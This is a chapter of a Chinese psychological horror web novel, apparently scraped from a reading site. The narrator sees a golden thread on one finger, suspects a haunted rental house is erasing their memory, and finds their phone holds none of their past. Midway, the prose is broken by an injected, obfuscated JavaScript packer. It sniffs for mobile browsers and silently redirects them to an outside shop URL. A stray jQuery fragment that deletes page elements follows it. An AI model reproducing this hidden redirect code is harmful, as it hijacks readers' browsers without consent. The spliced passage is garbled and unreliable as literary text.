Chap.11  多出来的线——多了还是少了


    第二天，我是在刷牙时发现了右手食指尖上那根金线。


    我迷迷糊糊站在厕所洗漱台前，借着窗户透进的薄光，挤上牙膏，将牙刷塞进嘴里上下一刷——


    就看到它尾部有根东西在跟着摆动。细细的，金灿灿的，一直向前，连进镜子里。


    ——嗯？……里面谁想偷我牙刷？


    口腔里的薄荷味轻轻刺了一下。我猛地一醒。


    取出牙刷，手悬在胸前，疑惑地望向镜子——那根金色的细线却仍在水波般起伏，从我手中这把牙刷，起伏到镜子里的那把，一点都不管两边都早就停了下来。


    低下头，将牙刷换到左手。这一次，金线却没跟着动，还牢牢停在我右手食指指尖。


    月光下舞动的金线叠了上来。


    ——哦。昨晚原来不是梦啊。


    我长长吁出一口气，喉咙也跟着放松下来——原来没人想偷我牙刷。


    抬起右手，凑到鼻子跟前，双眼对了上去。那金线就像是从皮肉下长出来的，和我的指尖没有丝毫缝隙。却又不像破土而出的藤蔓，周围没有一点隆起。


    这到底是什么？


    用剩下四根手指握住牙刷，左手食指按了上去——金线仿佛被我带起的气流惊扰，左右摇曳。


    它想避开我的手指？


    但我还是摁住了它。指尖搓了搓，碾了碾，却只触摸到平滑的皮肤。


    ——嗯……真的只是光。


    我垂下左手，目光顺着右手的金线进入镜子。又从里面那只手，移到上方那张脸上——


    那张脸，有些陌生。


    是我的脸？


    是吧。


    这像我？


    我都疯了，看见自己不觉得像，可不正常得很。


    镜子里的人扯起一个温和谦逊的微笑。


    我也笑了。


    继续洗漱完，我回房戴上眼镜，才坐到餐桌边好好打量这根金线——


    它已经快两米长了。在餐厅明亮的日光下，呈现淡淡的银白色。还是叫它“光线”更恰当些。


    它避开我胳膊，向我的侧后方低低飘着，从容地像根轻风拂起的丝带。我试着挥了挥手，转了转腕，它也只是被牵动着轻轻一扯，就又绕过我手掌，指向先前的方向。


    ——原来，它连着的不是镜子，是主卧。


    我看着这条附在我指上、在我眼前两寸不到的距离来回晃荡的银线，边往嘴里塞着馒头和麦片粥，边回忆它昨晚的长势——


    这也没长多少啊。肯定我一睡着，它就偷了懒。


    方姨却看不见它。


    她和往常一样，坐下和我一起吃了早饭。又在我吃完后，将饭盒递过来，叮嘱我下班早点回来。


    她的视线，甚至没在我手上停留一秒。


    吃早饭的功夫，那根光线就已经长到了三米。


    去公司的路上，我一直盯着它。它在阳光下倒很不显眼，从从容容牵着我，伸向左前方，像是在遛我。


    这是光。我的光。


    我站住，原地慢慢转了两个圈。那光线也绕着我，悠悠转了两个圈。


    ——嗯？光能转弯？


    眉头轻轻拧起。我怎么才想起来。


    不是光……？


    那…是灵魂？就像疯子说的。我被抽出来的灵魂？


    我望着左前方，突然明白过来——


    那是西南。它指的都是西南方的地平线。


    ——西南…地平线？


    我抬起头，向四周望去——


    世界正常了。


    就像一夜之间熨平了所有褶皱。昨天还微微拉扯变形的景象，此刻却平直规整地铺陈在我面前。


    马路平稳，房子踏实，路灯端正，行人生动，眼中画面清爽得就像刚刚洗过。车声、人声、树上叽喳的鸟叫声，尾气味、阳沟味、还有小店里热腾腾的早饭香味，也都样样分明。


    世界又回复成再正常不过的模样。


    我，也是。我不再在水底下望着我了。


    我就在我身体里。用眼睛看，用耳朵听，用鼻子嗅。脚下，又是那块坚硬得无可置疑的地面。


    我们都正常了。


    除了——我垂下眼，望着它——这根银线。


    它好端端地停在我指尖，指向前方的地面。


    “疯了之后，我右手的食指上长出了一根金线。”我跟着疯子默念。气流缓缓从齿间滚过，最后凝固成嘴角的一个微笑。


    真糟糕。原来真的是我疯了。


    银线跟着我进了电梯，进了公司。


    在指纹机前排队签到时，它就在那些低垂的眼皮底下，堂而皇之地舒展，摇曳，却没一道目光投到它身上。


    还好……他们都看不见它。


    他们的眼里，一切正常。


    开过正常的早会，我正常去茶水间将饭盒放进冰箱，正常坐上工位，打开电脑。银线于是也在桌上扎下了窝。它拉着我的手，钻进右前方的隔板。看角度，一定是垂进了那边的地板下。


    ——这是不是有点像钓鱼？


    我挑了挑嘴角，随即打开浏览器，敲下“2025年10月10日上午9点月亮方位”——


    果然。西南偏西，贴着地平线。


    它指向的，自始至终，都是月亮。


    ——怪不得这么长的线。还真是条大鱼呢。


    暗暗叹了口气，我开始这一天的工作。


    工作也很正常。只是为了等客户转账，下班又晚了。


    打卡时，机器显示时间：6：46。大楼外，天色已经开始发沉。


    我往方姨家走去。


    为什么还回方姨家？


    得赶紧离开。


    否则，等着我的就一定是疯子那样的结局——变成光，消失。


    但是…这样子回去？我疯了呀，怎么回得去呢？


    我疯了。


    只是不知道，我是什么时候疯的。


    目光追着金线——黯淡的暮色中，金线分外明亮。它牵在半空，蜿蜒着穿过马路，钻进对面的店铺里。它直指的右前方正是东南，月亮的方向。


    ——以后找月亮就方便了。


    嘴角勾了起来。再落下时，我的脚步也止住了——


    他们都看不见啊。


    只要我也装作看不见，我就没疯，就还一切正常？


    那样，我就能回去了……


    我转过身，望向西边的天空——


    那里，已经不见红日，只在地平线上留了道浅浅的绀红。


    ——绀红？那是什么？


    我轻轻皱了皱眉。


    算了，不重要。


    我边盘算着是预支工资，还是网络贷款，打开门走进了方姨家。


    晚饭已经摆上。我回房放了东西，就过去坐下。


    我们坐在各自的座位，沉默地吃着桌上的饭菜。


    我们都习惯了这沉默。它就像餐厅白晃晃的灯光，成了晚饭的一部分。


    吃过晚饭，我回了房间。带上门，就见金线斜斜穿入了飘窗左侧的那面墙。


    月亮就快升起来了吧。


    我笑了笑，抬腿走近书桌。目光落下，猛地一缩——


    《理想国》……不见了。


    呼吸一窒，身体里灌满了寒冰。世界倾斜了半秒，我扶着椅子勉强站住。


    好不容易等血液重新流回四肢，我发疯般在房里翻找起来——抽屉里，椅子下，桌底，被子里，床头柜，柜子和墙的夹角……


    都没有……


    有的，只是一片狼藉。


    ——它，真的不见了。


    手撑着地面坐起，头和肩膀重重沉了下去。冰凉的空虚漫上地板，浸没我全身。


    ——怎么会不见呢……


    它明明昨天还在，还好端端、沉甸甸地压在前面这张桌子上。


    我是亲眼看见疯子，看见那只苍白瘦削的手，从书架上抽出来的。


    那是疯子存在过的，最后的、唯一的证据啊。


    书架空了，飘窗也空了…现在，连它都没了吗？


    疯子他，真的存在过吗？


    我呆坐半晌。一侧头看见那根金线——它水平延伸着，没入飘窗底座。


    ——是了，金线。是我疯了。


    疯子……或许真的只是我臆想出来的。


    就像方姨说的，家里从来都没有这个人……


    我垂头望着金线，随意挥了挥胳膊，将它带动得扭出花来——


    呵。金线……


    你也是我臆想出来的？


    ——不，不对！


    我疯了，是因为长出了金线。如果金线并不存在，那是不是我就没疯？


    如果没疯，疯子和金线就不是我臆想出来的。


    所以……他们真实存在。金线，只能是疯子给我的。


    它，才是他存在过的，最后的证据。


    我爬起身，开门去上了个厕所。回房时，我在沙发前站住。


    等方姨将目光从电视移到我身上，才挠挠头，问：“对了，方姨，我房里桌上的《理想国》，是您收回去了吗？”


    她拨着念珠的手一顿，嘴也停在了半翕之间。随即，柔和了目光，两颊上垄起微笑来：“没有啊。那是本什么书？”


    肺里的空气被往外轻轻一抽。我视线一闪，马上也带出了笑来：“哦，那一定是我记混了。”


    “嗯。”她哼出声温和的鼻音，目光落回电视，手指继续拨动，“不早了，看着点时间。别熬夜。”


    “好。那我先回房了。”说着，我往前，推门进了房间。


    锁上房门。我背靠着门板，身后的手紧紧攥在把手上。


    ——她知道。


    书，真是她收走的。


    她这样急于抹除证据，正是因为，疯子是真的。


    她，恰恰是他真实存在过的，活的证据。


    而她却想让我忘掉他……


    忘了他，我就能成为第二个疯子，第二个程静？


    目光跟着金线，落在了窗台上——那里，曾摆过一盆幸福树。


    ——第二个…


    是这样吗？


    还是……


    我收回视线，三步跨到衣柜右侧，拉开柜门。书桌的阴影下，还稳稳压着那袋东西——那堆没有消化干净的残骸。


    ——这屋子里，被吞掉的，究竟有几人？


    鼻腔里漏出一声轻笑。我走到床边坐下，手掌抚过被面。布料粗糙，平顺，就像温和的砂纸，还有刚才方姨的笑容。


    我从裤袋里摸出手机。解锁，屏幕上微信的图标绿得诚恳。


    点开，找到徐姐，敲下一行字：“徐姐，明天中午有空吗？想请你吃顿快餐，可赏光否。”


    窗口上方立刻显出“对方正在输入……”。很快，她的回复跳出来：


    “怎么突然请吃饭了”


    “感谢你的照顾呗。而且，确实也有些事想请教一下。”


    一个“OK”的手势弹了出来。


    “那说好了，明天中午见哦。”


    对面回了个呲牙的笑脸。


    搞定。


    我锁了屏，低头凝视那块漆黑的镜面。半晌，将它扔到枕边。


    揉揉眼睛，目光又被牵回了金线——它从我指尖蔓出，悠悠摇曳，连着另一个世界的脉搏。


    它缓缓起伏，催促着我。我便顺着它，转身，向后，倚上了床头。再追着它的轨迹，让视线滑向窗外，落在那轮月亮上。


    它好像瘦了些。


    没关系……金线很快就会接上它。


    思绪渐渐粘滞，眼皮徐徐垂落。


    “不要忘了他。”它说。


    声音在我的齿间滚过，泛起铁锈的涩，焦糊的辛，最后，竟渗出一丝桂花的甜。


    “不要忘了…”


    我噙住这莫名的甜，任由身体滑下去，滑下去，沉进一片水底的月光。


    “…我。”


    最后一点光，溺在眼睑后。


    第二天，我请徐姐在园区边的大排档吃中饭。店里人还不少，嘈杂声同菜香、油烟味氤成一片。


    我们在里侧的空桌上坐下。徐姐只肯点了一荤一素，就放下菜单。我加了个汤，心里算好饭钱——三个菜加两份米饭，63。钱还够。


    徐姐背靠椅子，脸上带着调笑：“说吧，这顿饭是想问什么。”


    我将两套碗移到跟前，拆着上面的塑封，抬头对她眨眨眼：“徐姐，我上个月业绩怎么样，大概能拿多少啊？”


    她先旋出了右脸上的酒窝，才微抬起下巴，垂眼看来：“能进前二十。看不出来啊，上手这么快。面试时我还觉得你腼腆呢。”又抿了抿嘴，“能拿七八千吧，具体我不记得了。”


    我正往碗筷上淋开水。闻言手一滞，瞪大了眼睛抬头看着她：“这么多？”


    “那是。要不，大家进这来干嘛？”她歪着脑袋吟吟笑着，目光停在我脸上，等着接话。


    我便也堆出些笑来，话里都带上了气音：“徐姐，你看，能不能帮我从里面先预支点。”


    “就知道还是这事。”她鼻子里轻哼一声，眉眼弯弯的，“我说你，只十天不到就发工资了，还让我去帮你预支？”


    我嗓子里泄出口气来，将烫好的碗推到她面前，又倒上茶，这才垮下肩膀望着她：“等不到二十号了。”


    她皱起眉头，扶过茶杯：“你也欠了钱？”


    我苦涩一笑：“那倒不是。”低下头，盯着杯子里打旋的茶叶，声音沉了下去：“我是急着搬房子。”


    “又搬？你不是上个月刚搬的？”


    我轻叹口气，语气平静，却掺了丝颤抖：“我现在住的这房子…可能闹鬼。”说着，抬起头，迎上她的目光。


    她抱着胳膊，左眉一挑：“闹鬼？”


    我深吸一口气，将屋里的风水牌，房东往我卧室里放树、让我系绸带的事告诉了她，又详细描述了我怎么在床上发现了符咒。


    “那天，真是吓死我了哈哈哈哈哈……”我耸着眉，大声笑了。


    徐姐也耸眉笑了起来：“我去，这么诡异。”


    “是啊，”我慢慢收住笑，声音逐渐低沉，“正是这之后，我才开始不对劲的。”


    眼珠摇晃两下，视线卡在她下巴上：“我总是莫名其妙觉得烦躁，睡得也越来越久……”


    她下巴向里勾着，被挤得又圆润了一圈：“你…这脸色看着是不太好。”那上面皱出了几个浅坑。


    这时，服务员阿姨将排骨汤端了上来，摆在桌子中间。


    我仿佛突然回过神来，提了提嘴角，问要不要替她盛汤。徐姐说着“自己来”，起身盛了几勺，坐下了。


    “你都这情况了，还请我吃饭。”她皱着眉，捏着勺子仔细打量我。顿了顿，又俯下身凑近点：“你说，那房子里闹鬼……是怎么回事？”


    我便告诉她，有天凌晨我起夜上厕所时，看见房东在阳台上烧东西。好像是纸钱，但我没敢过去。


    “……大概是烧给书房里那东西的。”我双手紧紧捧住茶，望进里面，仿佛要从中榨取一点暖意，“那间房里总亮着灯，能听见动静。我刚搬去那两天，还以为是房东。但…她明明一直在外面。”金线在茶杯后轻轻摇摆，顺着我胳膊飘向身后。


    我抬起头，目光虚虚拢在她脸上，声音干涩：“我进去看过。那里面摆着两个铜麒麟。网上说…”话到嘴边，却卡了一下，“…那是专门镇鬼驱邪的。下面还压了‘五雷符’，也是专门杀鬼的……”


    她的瞳孔微微缩起，胸口起伏的节奏乱了。


    “这几天，我好像越来越不对劲……我是真心不敢再住下去了。”我收起语气中的恐惧和疲惫，目光聚向了她双眼，“徐姐，帮帮我吧。要是连你都不忙我，我就真的只能去借网贷了。”


    “确实是赶紧搬出来为好……”徐姐低头喝了口汤，再抬头却挑唇一笑，“你还去借网贷…你身份证拿着了？”


    “身份证？”我正起身盛汤，手一僵，捏着汤勺悬在半空。


    “亏你还是做这行的。”她喷出丝笑来，像是有些无奈，“哪个网贷平台不要求传身份证照？你有照片？”


    我张了张嘴，喉咙却堵住了。几秒后，才忽地一松，“……没。”


    肩膀跟着又垮下去一寸。我低头盛好汤，坐回椅子上。


    “说真的，你怎么不回去住？”徐姐低下头，勺子在碗里轻轻划着圈，“我查过你身份证信息，你家就在这个区吧。”


    我一愣，抬头看她：“这都能查到？”


    “当然。”她又好笑地一耸眉，“要不你以为怎么能放你进公司。还好你记得身份证号。”


    ——当然是以为你们缺人缺疯了……


    我讪讪一笑，正要解释，却骤然顿住——


    等等，这个区？


    我家…是这个区的？


    我在记忆里四处翻找，却怎么都想不起来——


    我家，到底住哪？


    胸腔瞬间一空，连肋骨都被抽了个干净，只剩下胸骨还在隐隐颤动。


    好在，这时服务员阿姨刚好端着两道炒菜过来。


    “谁帮个忙。”她朝我俩喊了一声。


    我猛地醒神，伸手将汤碗推到桌子里侧。她则一侧身，将那份沉甸甸、油亮亮的大盘鸡摆在桌子正中央。那只挽着袖子的胳膊，一下隔开了徐姐和我的视线。


    和大盘鸡一起沉沉落下下的，是我的心。


    视线不由顺着指尖向右望去——那根金线，被我刚才的动作牵起，在空中划出道悠悠的弧线。


    ——所以……我失忆了。


    是因为我疯了？


    眉头轻轻拧了拧。


    等那碟翠绿鲜嫩的油麦菜也摆上桌，一个苦涩的微笑已经又重新挂回了我脸上。


    “菜齐了。”阿姨收回胳膊。


    “谢谢。”我微微一侧脸，眼睛却望向徐姐。


    她伸手盛好饭，又夹了些菜。


    我也盛饭夹菜，吃了几口，随便聊了两句菜的口味，才接着说：“其实，我是离家出走的。”


    徐姐一顿，从筷子上抬起脸来，随即向后坐直了身子：“嗯？不会吧？”


    我勾了勾嘴角，轻笑一声，低下头：“我和父母吵了一大架，家里呆不住了。”


    两秒后，对面传来长长的吁气声。


    “难怪。我说你怎么之前非要住公司宿舍。明明自己家就在附近。”


    抬起头，徐姐已经住了筷子，正靠在椅背上盯着我。


    “你不回去了？”


    我瘪了瘪嘴，皱起下巴。


    “你总得去把身份证拿出来吧？”她歪着脑袋瞪我，嘴无奈地撇开。


    “嗯，等我先换好地方。再休假，就回去一趟。”我将一条油麦菜送进嘴里，“我想等白天他们不在家的时候回去。”


    “唔…”她又挑了挑眉，也吃了几口，才说，“现在你这身份证原件都看不到，确实不好去申请……你上次轮休是几号？”


    “9月29。”稍一回想，我马上答了上来。


    “9月29…今天是……”她伸手去拿桌上的手机。


    “10月11，离上次轮休已经十二天了。”我眼睛一亮，两只胳膊扒到了桌上。


    “那这三四天你应该就能有休。”她眉头轻轻皱起，左手轻轻敲击手机屏幕，“这样，我这两天就帮你把其他材料都准备起来。你先找房子，再和你组里协调好，尽早去把身份证拿出来。一拿来我就给你支工资。你要预支多少？”


    “4000就行。”我眼巴巴瞅着她，“徐姐，真不能先支出来啊？我今晚上就想搬……”


    “想得美呢你。支工资是要过财务那关的。”她撇了撇嘴，低下头去继续吃饭。好一会儿，才又说，“而且，你现在的样子，和身份证上差得也太大了点。”


    “啊？”我抬起头，看着她。


    “你怎么痩了这么多？都痩变形啦。要不是你额头上也有颗痣，我差点以为你是乱填的别人的身份证号。”她嘴一扁，朝大盘鸡扬了扬下巴，“快多吃点吧。”


    ——我额头上有痣？


    ……有吧。我看到过。


    什么时候来着……


    昨天早上？照镜子的时候？


    镜子里的脸闪过我眼前，却模糊不清。


    ……也是，光线那么暗，又没戴眼镜，能看清就怪了。


    “嗯。”我冲徐姐咧嘴笑笑，夹了两块鸡。低下头，看见金线扯起的弧，飘逸得就像魟鱼旋身时的长尾。目光顺着它，落回右手——


    是挺细的。但这就“痩变形”了？是不是夸张了点。而且，我那身份证上的照片顶多也就四五年前拍的，能变多少？


    我笑笑，扒了两口饭，嚼了嚼，慢慢咽下。再抬起头，便望见徐姐那丰润如满月的脸——


    大概，对胖瘦的感知，是因人而异的。


    之后，我们只聊了些公司的闲话。1点半起身离开时，两个炒菜都见了底，汤却还剩下大半。


    回到公司，我一下午都没能收住思绪。拨着电话，录着信息，脑子里却全是中午的谈话。


    预支工资必须要身份证。我得去把它拿出来。


    但……我竟忘了自己家的地址？


    我顺着记忆一点点往回摸索，却怎么都想不起来，住进那家小旅馆前，我是在哪间网吧通的宵，更不用说，是怎样从家走到了那里。


    太阳穴像扎进了两根针，缓缓旋拧，拧出来一大片炽亮金光。


    ——这下，真的不可能悄悄回去了……


    嗓子眼里升起几声哑笑，心却沉到了脚底——


    再拖下去…就真的回不去了。


    我已经开始失忆。


    那屋子，正在消化我。


    我找到个机会，和欢姐说自己头痛得利害，想明天去趟医院。她仔细打量了我半晌，说“脸色确实不好，嘴都是白的”，就帮我调了休，又叮嘱我好好休息。


    接下来的时间，就都像梦游。耳机里的声音和指尖下的键盘都隔了一层毛玻璃。


    终于熬到下班。走出电梯，才发现外面正在下小雨。


    这下，外面的整个世界都隔上了一层毛玻璃。


    我没带伞，干脆绕到大楼天井的兵乓球场，在低矮的水泥牙子上坐下。手伸进裤兜，贴到手机上，抓紧又松开。那块玻璃屏都带上了我掌心的温度。


    只能和父母联系了。我想。


    或许，约他们明天一起吃个饭，再理所当然地跟在后面回家……


    或者…就说想给他们寄点东西，先把地址问出来？


    ……


    四周早已暗下来，就像被雨幕隔绝在水底。只有那道金线，兀自亮着，低低漂浮，穿了过去。


    我迟疑着掏出手机，一按。屏幕上的强光霎时掩住了金线。


    解锁，点击“联系人”图标。


    白色背景上跳出来短短一截黑色文字——B龚倩倩，B欢姐，B前台，B徐姐，C方姨。


    只有五个。


    ……只有五个？


    怎么可能？！


    我死死抠住手机，食指疯狂地在屏幕上上下划拉，玻璃被我摁得几乎向下凹陷——


    A开头的呢？我的父母呢？


    其他人呢？


    但无论怎样划，那截字都只会轻轻跳回原地，回到刚打开时的模样。


    ——怎么可能……


    眼睛被白光扎痛，跟太阳穴一起狂乱跳动。天井在头顶旋转，一时分不清雨水是落在我身前还是后面。


    ——冷静。冷静！


    我紧闭双眼，将左手攥紧手机，手腕狠狠压进腿面，右手则掐死膝盖，让身体重心逐渐稳定下来。


    难道……眼睛缓缓睁开——


    是我离家出走时，故意删掉的？


    拧着眉，再次解锁屏幕。打开通话记录——


    拉到底，也只有三个人：方姨，三个通话，都在上个月；龚倩倩，8月31号的呼出；前台，8月20号的呼入，和8月19号的呼出。


    切出短信——


    只有一项：方姨。图标左侧亮着个蓝色小点。


    血液又开始喧嚣，胃里一阵翻搅。我闭了闭眼，深吸口气，划掉短信，点开了微信——


    没有。这里也没有。


    我翻遍了微信联系人，只有公司同事、小组群，还有之前那家小旅馆的老板。


    ……


    我的父母，我本该最亲近的人，却从我的“关系网”中，完完全全，彻彻底底地消失了。


    我被抽空成一个轮廓，听见雨水在体内砸响。


    还有什么，总还有什么，能够证明他们的存在……


    ——照片！还有照片！


    我屏住呼吸，颤抖着戳开相册——


    里面除了几张纸符和铜麒麟的照片，就只有些花花绿绿的表格截图了。那是些催收记录，每天一张发微信小组群里。


    这之外，就没有了。


    ……


    没有了。


    都没有了……


    这里面，再找不到我过去的任何痕迹。就像，之前那些记录都被刻意地从这只手机上，彻底删除了。


    ——这怎么可能？手机一直都是我拿着。


    但如果数据没有被删……总不会，其实过去才是我臆想出来的吧？


    那就疯得很有创意了。


    我一阵哑笑，胸口猛震了几下，全身都跟着在抖。


    渐渐地，笑停下了，战抖却越来越厉害，扯小腹也抽痛起来。我只好捂着肚子瘫坐到水泥地上。


    半晌，战抖和抽痛才终于消停下来。我将目光移上了金线，伸出右手左右摆动，拽得它也左摇右晃，就像在放风筝。记忆也被拉扯着一路往回，两个月来的一切都在逐帧倒放。


    影片看完，我清醒地意识到——


    我的记忆，真的止于那个瞬间，离家出走的瞬间。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001302|193953||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我甚至想不起来，为什么和父母争吵。就连他们的长相、名字……也都被从我的脑中擦除了。


    关于那场争吵，仅剩的画面，只有那张慢慢扯开的嘴，牙齿咬进下唇，上唇则一点点掀起，终于露出了里面漆黑的深洞。洞里迸出来两个字：“废——物——”。


    还有那双眼睛。它们锁在拧紧的眉下，眼角垂着，里面翻搅起沥青般浓稠的失望。


    我也想不清，自己是怎样走进网吧，住进旅馆，怎样通过了面试。一切都褪尽了颜色，模模糊糊，摇摇晃晃，就像误闯入了别人的梦境。


    清晰的记忆，竟是从我完成培训，见习的第二天才开始。


    ——原来，我已经被消化到了这里。


    剩下的，不多了。


    “疯子…你就是这样忘记过去，忘掉了自己吗？”


    倦怠填满了我。我慢慢躺下，看世界在我身旁倾倒，雨水从地面砸向天空。


    地上的寒气渗过衣服，一丝丝烧灼着后背。我举起手臂，牵动金线，旋出层层波浪，优美得如同体操运动员手中的彩带，炫目却像午夜的焰火。


    而我，我在燃烧，蒸发。变成一道光，一股烟，一团雾，漂浮在无尽的虚空。


    雨却渐渐小了，虚空中又露出现实的面孔。我收回右手，撑着身子慢慢坐起。


    ——该想想下一步了。


    手机屏幕在昏暗中亮起：“19：48”。


    切出微信。“我”，“服务”。目光落在“钱包”上——112.63。


    可以回小旅馆住两个晚上。


    或者……


    我点开信息，指尖落上那个唯一的图标。


    新短信还是四十多分钟前的。


    “你还没回来？外面下雨，你带伞了没有？”


    指尖悬在屏幕上方。金线从底下伸出，在白□□面上轻轻扭动。


    ——还有九天，我能不能撑到20号？


    再撑九天……


    哈哈，我这怕早就不止“穷疯了”，而是马上就要“穷死了”。


    黑暗中，那间屋子仿佛正咧开了大门在朝着我笑。


    哈哈哈哈哈。我也望着它大笑起来。


    笑完，我正望着金线恍神，左手猛地一震——屏幕亮起：C方姨。


    心重重跳了两下。稍一犹豫，我吸进半口气，按下接听。


    “喂，方姨。”


    手机里传来有些嘈杂的电流声，裹着她的询问：“小晋啊，你下班了没有？怎么还没回来？”


    “哦，还在加班。”我声音浸满疲惫，“今天事情特别多，忙得忘了。”


    “这么忙…明天做不行吗。外面下雨了你知不知道？带伞没有？”


    “下雨了吗？我没带……”右手缓缓在裤腿上摩挲。


    “哎呀！那我给你送伞过去？你把地址发来。”语气着急起来。


    “不用不用！”我赶忙截住，“这还不知道弄到什么时候。我等雨停了再走。”


    那头沉默了一瞬。“……那好吧。”电流声咝咝作响，“我看这雨已经小了，你抓紧回来，别一会儿又下大了。”


    我连声应下。那边又叮嘱了几句，才挂断电话。


    “呼——”


    我长长排出一口气。抬起右手，伸出食指，以手肘为轴在胸前摆动。一条绚烂的灿金色光带随之舞动——真的很像焰火。


    我嘿嘿傻笑两声，第三声却猝然断在喉头——


    我才晚回去两小时不到，方姨的短信和电话就追了过来。可我离家出走，已经快两个月了！我的父母……竟没有一条短信，一个电话。


    他们，是彻底不需要我了吗？


    我像一块巨石，终于坠到深渊底部，猛地一沉，被吞没在冰冷黏腻的烂泥里。


    ……不，不可能。


    一定有什么被我忽略了……


    思维缓缓翻搅。烂泥冒出来一个又一个气泡。


    ——黑名单！他们一定在我黑名单里！


    我手忙脚乱点开手机，颤着指尖翻找。找到了！号码黑名单！——


    里面，空白一片。什么都没有。


    原来，他们是真的……不需要我了。


    我没有根了……


    是不是，我也快变成蒲公英，飞走了？


    胸口震动两下，笑声被闷在里面，只碾出几声的干咳。


    我闭上眼，在细细的风中，成了金线，飘荡着穿过雨幕，穿过楼房，穿过夜空。我不再去往何处，我只穿过一切。包括，这消散中的虚无。


    直到——


    身体猛地一沉，我被从虚空中狠狠拽回。


    一个念头在我身体内疯长，瞬间蓬生出粗壮坚韧的藤蔓，将我又重重绑缚回这地面——


    是了。人情的绳索会凭空消失，经济的铁链却无法删除。


    坐正身子，切回微信。“钱包”，“账单”——屏幕上是一长串花花绿绿的图标和带着减号的黑色数字。


    最上面是一笔-63的“吴姐家常菜”，那是中午吃的。紧接着就已经是一个来月前了——几笔“扫二维码付款”，是这附近和公司楼下的快餐，以及“转账-转给心悦宾馆”，那是我之前住的小旅馆。


    再往下，出现个陌生的名字——“零界空间”。“8月18日 22：42”。


    ——第一天那家网吧？


    立刻打开地图，在搜索框上输入“零界空间”——就在这个区和祥浦交界不到的地方，这里过去7.2公里。


    血液重新充盈了身体。虚浮的记忆终于有了实在的落脚点。


    果然，这里面还保留着我出走前的记录。保留着我之前的人生！


    我继续向下划动——


    眼前却是接连不断的红底白纹：“拼夕夕平台商户”。往下刷新了四五次都仍只有这一种。要不是日期一直在变小，我甚至以为手机卡住了。


    一直往下。直到2022年10月，才总算出现了别图标。


    ——2025到2022……这期间，我不是正读大学？


    怎么我完全不买零食、不吃快餐？


    屏幕左上方“2022年10月”几个字仿佛活了过来，堵进我胸口。


    ——我在别的地方还有钱吧，支付宝，银行卡之类。这也没什么好奇怪的。


    我挑唇笑笑，指尖重重按下，继续向下翻。一起按下的，还有脑子里那个荒谬可笑的念头。


    再下面，大多是些扫二维码付款。其中，2019年有笔3280元的转账十分显眼：智启教育，11月3日。


    ——六年前……高中补习？


    胸口传来隐约的躁动，小腹一阵坠胀。我佝下腰，将胸顶在膝上，继续下翻。


    随着指尖一次次机械按下，上挑，我的目光越来越冷，心跳也一点点沉稳。


    最后的记录是2015年2月。在一条2月11的“扫二维码付款-给华哥超市”下，终于出现了“暂无更多记录”几个字。


    2015年2月……


    十年前。


    我放下右手，搓了搓裤腿。眼睛还盯着屏幕，嘴边仍凝着微笑——


    十年前，我才刚上初中吧。竟也用微信支付么？


    这个手机，是什么时候，被换到我身上的？


    对，这绝对不是我的手机。


    这也就可以解释了：为什么，我的父母找不到我。


    至于手机的主人，倒是不难猜测——


    十年前出现了第一笔记录，那正是“废物”出现的时间。那笔3280元的转账，大概是考研培训的费用。


    后面记录完全被“拼夕夕”占据的这三年，正好和“疯子”住进方姨家的时间吻合。至于，他买了些什么——


    我漏出声轻笑，垂下了眼。眼里浮现的，是那座塞得满满当当，五颜六色的书柜。


    只是……


    目光微微一凝——这手机上，竟还有我出走以来的全部消费记录。


    他的手机，怎么会事先就跑到了我这个陌生人手里？


    难道……


    不是我选中了房子，而是…房子选中了我？


    我试图回忆当初找房时的情形，脑海里却只剩一片漂洗后的迷蒙——我甚至记不起，是在哪个app上刷到的那条租房广告。


    一阵凉风吹来，我又缩了缩。肩膀像搭了两块冰，冷气从后脖颈一直透到胸前。挤在大腿前的小腹又几阵抽痛。


    ——是啊，是它选中了我。


    它想将我磨成另一把锁芯，镇在程静留下的空洞上？


    的确，它在消磨我——我的记忆，我的身份。它们被一点点从我身上削下，成了他肚子里的养料。


    就像它曾经，一点点吃掉了赵路。


    眉心高高耸起，脸上的肌肉却笑得发酸。等腹部的抽痛终于过去，我才慢慢收起笑，熨平眉头——


    那就，从它的胃里，把我自己，挖出去。


    现在最要紧的，是找到我的家，到底在哪。


    中饭时和徐姐的对话在耳边响起——身份证上就有地址。


    对。就算记忆被清洗得一干二净，那张小小的卡片上，却烙印着我无法篡改的来处。


    掐了掐大腿，我拿起手机。浏览器的冷光打在脸上，我换了几口气，输入“身份证 地址 查询”。


    跳出来卡在最上面的，就是条非授权情况下查询他人详细地址涉及非法的风险提示。往下拉，则是些五花八门查询攻略，却只能锁定到“发卡地”，再就是些号称能够查询具体信息却明显异常的小网站。


    我皱着眉啃着嘴唇，不断调整关键词：“身份信息核查”、“本人身份信息”……终于，在一个法律咨询机构的AI客服对话框里，跳出来一个带着官网标识的链接——“公安部‘互联网+政务服务’平台”。


    心跳陡然抢了两拍。我屏住呼吸，点了进去——


    没看到身份证信息查询通道，却在正中间的“热门服务”里就有“居民身份证补领”。


    ——补办！


    欢姐的抱怨在又耳边响起。对呀，补办身份证！


    不记得住址又怎么样，只要将证补办出来，一切问题，不都迎刃而解了！


    我将右手手腕压稳在膝上，用食指指尖选好城市，点击“在线办理”，接着用手机号注册了账号。


    登陆成功。界面跳转到申请页。


    “请输入您的居民身份证号码。”


    我深吸进一口气，果断将手指悬在虚拟键盘上，准备将那串烂熟于心的十八位数字敲进去——


    ……


    等等。开头是…4？


    ……还是5？


    手指僵在半空。


    脑子里，存着那串数字的区域就像被用橡皮彻底抹过，只留下一片空白——半点痕迹都没有的、纯粹的空白。


    一个数，哪怕一个数，我都想不起来。


    身下的地面被骤然抽离，露出来底下的巨口。嗡嗡声从里面涌出——无数细密的、粘稠的振翅与啃噬声，糊满了我的耳道，也糊住了我的思维。


    那巨口，到底是在我身下，还是在我体内？


    它们…是要蛀空我？还是……我已经空了？


